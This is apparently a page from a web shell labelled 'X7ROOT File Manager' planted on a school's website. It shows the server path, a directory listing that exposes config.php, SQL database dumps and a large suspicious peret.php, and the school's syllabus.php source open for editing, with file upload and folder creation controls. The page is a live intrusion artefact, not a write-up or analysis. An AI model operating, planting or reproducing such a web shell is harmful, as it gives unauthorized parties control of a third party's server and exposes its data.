X7ROOT File Manager
Current Path:
/home/u126090504/domains/chanakyahss.org.in/public_html
home
/
u126090504
/
domains
/
chanakyahss.org.in
/
public_html
/
📄
+2science.php
(6.75 KB)
📁
..
📄
about.php
(11.62 KB)
📄
achievers.php
(5.62 KB)
📁
admin
📄
application-form.php
(9.65 KB)
📁
assets
📁
chanayak
📄
config.php
(1.16 KB)
📄
contact.php
(8.18 KB)
📄
contactdb.php
(796 B)
📄
course.php
(43.71 KB)
📄
dmlt.php
(5.61 KB)
📄
downloads.php
(2.94 KB)
📄
facilities.php
(5.33 KB)
📄
faculty.php
(4.09 KB)
📄
footer.php
(8.19 KB)
📄
future (2).zip
(59.78 MB)
📄
gallery.php
(4.25 KB)
📄
gnm.php
(6.5 KB)
📄
header.php
(11.33 KB)
📄
index.php
(47.35 KB)
📁
lib
📄
peret.php
(266.87 KB)
📄
principal's-message.php
(3.11 KB)
📄
public-disclosure.php
(3.53 KB)
📁
qrcodes
📄
syllabus.php
(2.7 KB)
📄
thank-you.php
(1.28 KB)
📄
time-table.php
(2.25 KB)
📄
u126090504_future (2).sql
(29.78 KB)
📄
u126090504_future.sql
(29.78 KB)
📁
uploads
Editing: syllabus.php
<?php require_once 'config.php'; include 'header.php'; ?> <!-- breadcrumb --> <div class="site-breadcrumb" style="background: url(assets/img/breadcrumb/01.jpg)"> <div class="container"> <h2 class="breadcrumb-title">Syllabus</h2> <ul class="breadcrumb-menu"> <li><a href="index.php">Home</a></li> <li class="active">Syllabus</li> </ul> </div> </div> <div class="site-main"> <section style="margin-top:5%; margin-bottom:5%;"> <div class="container"> <div class="row"> <div class="col-md-12"> <table class="table table-bordered table-striped"> <thead class="thead-dark"> <tr> <th width="80">SL NO</th> <th class="text-center">SUBJECT</th> <th width="140" class="text-center">DOWNLOAD</th> </tr> </thead> <tbody> <?php $res = $conn->query("SELECT * FROM syllabus ORDER BY id DESC"); if ($res && $res->num_rows > 0) { $sl = 1; while ($row = $res->fetch_assoc()) { $subject = htmlspecialchars($row['subject']); $fileName = htmlspecialchars($row['file_name']); $fileUrl = "uploads/syllabus/" . $fileName; $ext = strtolower(pathinfo($fileName, PATHINFO_EXTENSION)); if ($ext == "pdf") { $icon = "<img src='images/pd.png' style='height:40px;'>"; } elseif ($ext == "doc" || $ext == "docx") { $icon = "<img src='images/doc.png' style='height:40px;'>"; } elseif (in_array($ext, ['jpg','jpeg','png'])) { $icon = "<img src='{$fileUrl}' style='height:40px;border-radius:5px;'>"; } else { $icon = "<img src='images/file.png' style='height:40px;'>"; } echo " <tr> <td>{$sl}</td> <td class='text-center' style='font-weight:bold;'>{$subject}</td> <td class='text-center'><a href='{$fileUrl}' download target='_blank'>{$icon}</a></td> </tr>"; $sl++; } } else { echo "<tr><td colspan='3' class='text-center'>No syllabus available</td></tr>"; } ?> </tbody> </table> </div> </div> </div> </section> </div> <?php include 'footer.php'; ?>
Upload File
Create Folder